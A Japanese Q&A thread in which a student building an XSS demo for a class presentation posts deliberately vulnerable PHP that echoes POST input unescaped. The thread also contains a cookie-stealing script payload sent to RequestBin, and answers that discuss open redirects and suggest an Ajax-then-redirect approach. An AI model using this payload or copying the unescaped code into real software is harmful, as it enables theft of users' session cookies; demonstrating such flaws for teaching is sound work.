Q&A
無理ですね
google経由で動かせるような穴を頑張って探してください
情報系の大学に通う学生です。
今度XSS（クロスサイトスクリプティング）に関して発表する機会があり、そのデモ環境を作っているのですが質問がいくつかあります。
今、下記のようにXSSに対する脆弱性があるphpのコードを作りました。UIは下記画像の通りです。
今RequestBinにcookieの情報を送信するスクリプトをコメント欄に埋め込むことを想定しています。
埋め込むスクリプトとしては<script>window.location='requestbinのurl?'.concat(document.cookie)</script>です。
このスクリプトをコメント欄に直接埋め込むと問題なくrequestbinにcookie情報が保存されておりXSS攻撃は成功しています。
しかし、理想としては<a href=http://google.com>googleのURLです</a>のようにリンクを準備して、リンクを踏むとgoogle.comにしっかりと遷移するが、kookie情報はrequestbinに送られるような、リンクを作成したいです。
つまり、<a href=http://google.com>googleのURLです</a>と<script>window.location='requestbinのurl?'.concat(document.cookie)</script>を組み合わせてgoogleのURLですというリンクをクリックするとgoogle.comに遷移してかつcookie情報を奪うようなリンクを作成したいということです。
助長な説明申し訳ありません。
お手数ですが解答よろしくお願いします。
環境
・Windows10
php
1<!DOCTYPE html> 2<html> 3<head> 4<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 5<title>XSS確認</title> 6</head> 7<body> 8 <form action="" method="post" accept-charset="utf-8"> 9 <label class="label" for="name">コメント：</label> 10 <input type="text" size="70" name="xss_text" value=""> 11 <p><input type="submit" value="送信"></p> 12 </form> 13 コメント一覧: <?php echo $_POST['xss_text']; ?> 14</body> 15</html>
kookieとは。
CookieならWeb用語にあります。ご自身でもコードには書かれてますね。
固有名詞の間違いは致命的になり得ます
お二人とも返信ありがとうございます
修正しておきます
google.comのクッキーを奪取したいという意味ですか? それとも、このPHPのサイトのクッキー? アタッカーがそういうリンクを埋め込ませるにはどういう文字列をコメント欄に入れればよいか、という質問であってますか?
googleから情報奪取からのrequestbinへ吐き出しでしょう
文章内検索しましょう。まだあります。
発表資料にも出ますよ、そういういわば「雑な」ところ。
回答3件
0
既にコメントがありますが、それはできません。仮にできたら、Googleにオープンリダイレクトという脆弱性があることになります。
オープンリダイレクトについては、以下の書籍に詳しく書いてあります。
体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践
その他、ブラウザ上の表示を上手く工夫して利用者を騙すテクニックも過去には知られていますが、それらはブラウザの脆弱性として修正されています。もし見つけたら、Google等に報告したら報奨金をもらえるかもしれません。そのくらいのレベルだということです。
投稿2021/01/25 04:38
総合スコア11705
0
自己解決
今は、希望したようなXSSのデモが困難なことがわかりました
投稿2021/01/26 00:51
総合スコア30
0
Ajaxで 'requestbinのurl?'.concat(document.cookie) にリクエストを投げて、そのレスポンスを受け取った後で window.location='http://google.com' を実行すればよいのではと思います。
但し、コードがそれなりに長くなりそうですが。
投稿2021/01/25 04:26
総合スコア629
あなたの回答
tips
プレビュー
